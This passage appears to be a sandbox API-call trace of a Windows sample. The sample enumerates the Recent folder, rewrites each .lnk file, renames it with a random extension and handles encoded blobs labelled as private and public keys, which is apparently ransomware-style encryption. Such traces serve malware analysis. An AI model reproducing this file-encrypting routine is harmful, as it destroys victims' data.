"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-dpf-3v_.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.265] WriteFile (in: hFile=0x124, lpBuffer=0x1f90760*, nNumberOfBytesToWrite=0xa21, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90760*, lpNumberOfBytesWritten=0x18f978*=0xa21, lpOverlapped=0x0) returned 1 [0079.267] CloseHandle (hObject=0x124) returned 1 [0079.270] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-DpF-3V_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-dpf-3v_.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-DpF-3V_.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-dpf-3v_.lnk.zv7un")) returned 1 [0079.272] GetCurrentThreadId () returned 0xa30 [0079.272] GetCurrentThreadId () returned 0xa30 [0079.272] GetCurrentThreadId () returned 0xa30 [0079.272] GetCurrentThreadId () returned 0xa30 [0079.272] GetCurrentThreadId () returned 0xa30 [0079.272] GetCurrentThreadId () returned 0xa30 [0079.272] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d69eba0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d69eba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d69eba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa79, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="-s mpTOnNpWunebm.lnk", cAlternateFileName="-SMPTO~1.LNK")) returned 1 [0079.272] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.272] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.272] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-s mpTOnNpWunebm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-s mptonnpwunebm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d69eba0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d69eba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d69eba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa79)) returned 1 [0079.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-s mpTOnNpWunebm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-s mptonnpwunebm.lnk")) returned 0x20 [0079.272] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-s mpTOnNpWunebm.lnk", dwFileAttributes=0x80) returned 1 [0079.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f758cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.276] GetCurrentThreadId () returned 0xa30 [0079.276] GetCurrentThreadId () returned 0xa30 [0079.276] GetCurrentThreadId () returned 0xa30 [0079.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f8692c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.277] GetCurrentThreadId () returned 0xa30 [0079.277] GetCurrentThreadId () returned 0xa30 [0079.277] GetCurrentThreadId () returned 0xa30 [0079.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-s mpTOnNpWunebm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-s mptonnpwunebm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.277] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.277] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.277] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa79 [0079.277] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.277] ReadFile (in: hFile=0x124, lpBuffer=0x1f8e730, nNumberOfBytesToRead=0xa79, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesRead=0x18f96c*=0xa79, lpOverlapped=0x0) returned 1 [0079.279] CloseHandle (hObject=0x124) returned 1 [0079.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-s mpTOnNpWunebm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-s mptonnpwunebm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.281] WriteFile (in: hFile=0x124, lpBuffer=0x1f90760*, nNumberOfBytesToWrite=0xa79, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90760*, lpNumberOfBytesWritten=0x18f978*=0xa79, lpOverlapped=0x0) returned 1 [0079.283] CloseHandle (hObject=0x124) returned 1 [0079.285] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-s mpTOnNpWunebm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-s mptonnpwunebm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-s mpTOnNpWunebm.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-s mptonnpwunebm.lnk.zv7un")) returned 1 [0079.287] GetCurrentThreadId () returned 0xa30 [0079.287] GetCurrentThreadId () returned 0xa30 [0079.287] GetCurrentThreadId () returned 0xa30 [0079.287] GetCurrentThreadId () returned 0xa30 [0079.287] GetCurrentThreadId () returned 0xa30 [0079.287] GetCurrentThreadId () returned 0xa30 [0079.287] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24ae800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe363ca40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe363ca40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="1ilxsFFPhAmnX.lnk", cAlternateFileName="1ILXSF~1.LNK")) returned 1 [0079.287] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.287] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ilxsFFPhAmnX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1ilxsffphamnx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24ae800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe363ca40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe363ca40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed3)) returned 1 [0079.288] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ilxsFFPhAmnX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1ilxsffphamnx.lnk")) returned 0x20 [0079.288] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ilxsFFPhAmnX.lnk", dwFileAttributes=0x80) returned 1 [0079.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 